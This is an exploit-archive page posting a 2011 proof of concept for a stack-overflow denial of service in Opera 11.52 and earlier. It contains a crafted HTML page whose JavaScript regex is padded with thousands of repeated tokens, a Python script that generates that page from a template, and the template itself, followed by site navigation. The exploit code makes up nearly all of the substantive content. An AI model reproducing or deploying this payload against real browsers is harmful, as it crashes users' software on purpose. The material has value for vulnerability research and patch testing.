Opera 11.52 Stack Overflow

Opera 11.52 Stack Overflow: Posted Oct 20, 2011; Authored by pigtail23; Opera versions 11.52 and below proof of concept stack overflow exploit.; tags | exploit, overflow, proof of concept; SHA-256 | d8e6d58f0c40d06f09f7f9e1562cc78db5502eabbfa08a284ed2ca5e41060dd9; Download | Favorite | View

Opera 11.52 Stack Overflow

## _  (`-')  _   pigtail23   (`-')     (`-')  _   _           www.remoteshell.de ##
## \-.(OO ) (_)        .->   ( OO).->  (OO ).-/  (_)      <-.                    ##
## _.'    \ ,-(`-') ,---(`-')/    '._  / ,---.   ,-(`-'),--. )   .----.  .----.  ##
##(_...--'' | ( OO)'  .-(OO )|'--...__)| \ /`.\  | ( OO)|  (`-')\_,-.  |\_.-,  | ##
##|  |_.' | |  |  )|  | .-, \`--.  .--''-'|_.' | |  |  )|  |OO )   .' .'  |_  <  ##
##|  .___.'(|  |_/ |  | '.(_/   |  |  (|  .-.  |(|  |_/(|  '__ | .'  /_ .-. \  | ##
##|  |      |  |'->|  '-'  |    |  |   |  | |  | |  |'->|     |'|      |\ `-'  / ##
##`--'      `--'    `-----'     `--'   `--' `--' `--'   `-----' `------' `---''  ##
###################################################################################
###################################################################################
October 20, 2011
 
Number two, tomorrow may the next!? 0__o
 
The second Opera Denial of Service PoC (Stack Overflow)
 
Testsystem: WinXP SP3, Win7(64 bit)
Opera version: 11.? <= 11.52
 
###################################################################################
 
 
poc2.html:
 
<html>
<body>
<script type="text/javascript">//<![CDATA[
function addSpacesToResults(){try{for(var b=_d.getElementsByTagName("cite"),a=0;a<b.length;a++){el=b[a];firstNode=el.firstChild.nodeName;if(el.textContent.length>40&&(firstNode=="#text"||firstNode=="STRONG"))el.innerHTML=el.innerHTML.replace(/\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+\.]+
//]]></script>
<html>
<body>
 
 
###################################################################################
 
 
Python script for debugging:
 
#!/usr/bin/python
 
filename = 'poc2.html'
     
content = open('template2.html', 'r').read()
 
buff = '\.]+' * 5000
 
rc = 300
content2 = content[:rc] + buff + content[rc:]  
 
FILE = open(filename,"w")
FILE.write(content2)
FILE.close()
 
 
###################################################################################
 
 
template2.html:
 
<html>
<body>
<script type="text/javascript">//<![CDATA[
function addSpacesToResults(){try{for(var b=_d.getElementsByTagName("cite"),a=0;a<b.length;a++){el=b[a];firstNode=el.firstChild.nodeName;if(el.textContent.length>40&&(firstNode=="#text"||firstNode=="STRONG"))el.innerHTML=el.innerHTML.replace(/((^|>)[^<>]*(&|[\/\?\;\_\&\%]))/g,"TEST")}}catch(c){}}sj_be(_w,"load",addSpacesToResults);
//]]></script>
<html>
<body>

Top Authors In Last 30 Days

Red Hat 276 files
Ubuntu 65 files
Debian 25 files
Gentoo 16 files
LiquidWorm 10 files
nu11secur1ty 5 files
kai6u 3 files
Adam Gowdiak 3 files
liquidsky 3 files
gabe_k 3 files

File Archives

Systems

AIX (429)
Apple (2,078)
BSD (376)
CentOS (58)
Cisco (1,927)
Debian (7,028)
Fedora (1,693)
FreeBSD (1,246)
Gentoo (4,483)
HPUX (880)
iOS (373)
iPhone (108)
IRIX (220)
Juniper (69)
Linux (49,509)
Mac OS X (691)
Mandriva (3,105)
NetBSD (256)
OpenBSD (488)
RedHat (15,710)
Slackware (941)
Solaris (1,611)
SUSE (1,444)
Ubuntu (9,480)
UNIX (9,395)
UnixWare (187)
Windows (6,653)
Other

Opera 11.52 Stack Overflow

Opera 11.52 Stack Overflow

File Archive:

May 2024

Top Authors In Last 30 Days

File Tags

File Archives

Systems

Opera 11.52 Stack Overflow

Share This

Opera 11.52 Stack Overflow

File Archive:

May 2024

Top Authors In Last 30 Days

File Tags

File Archives

Systems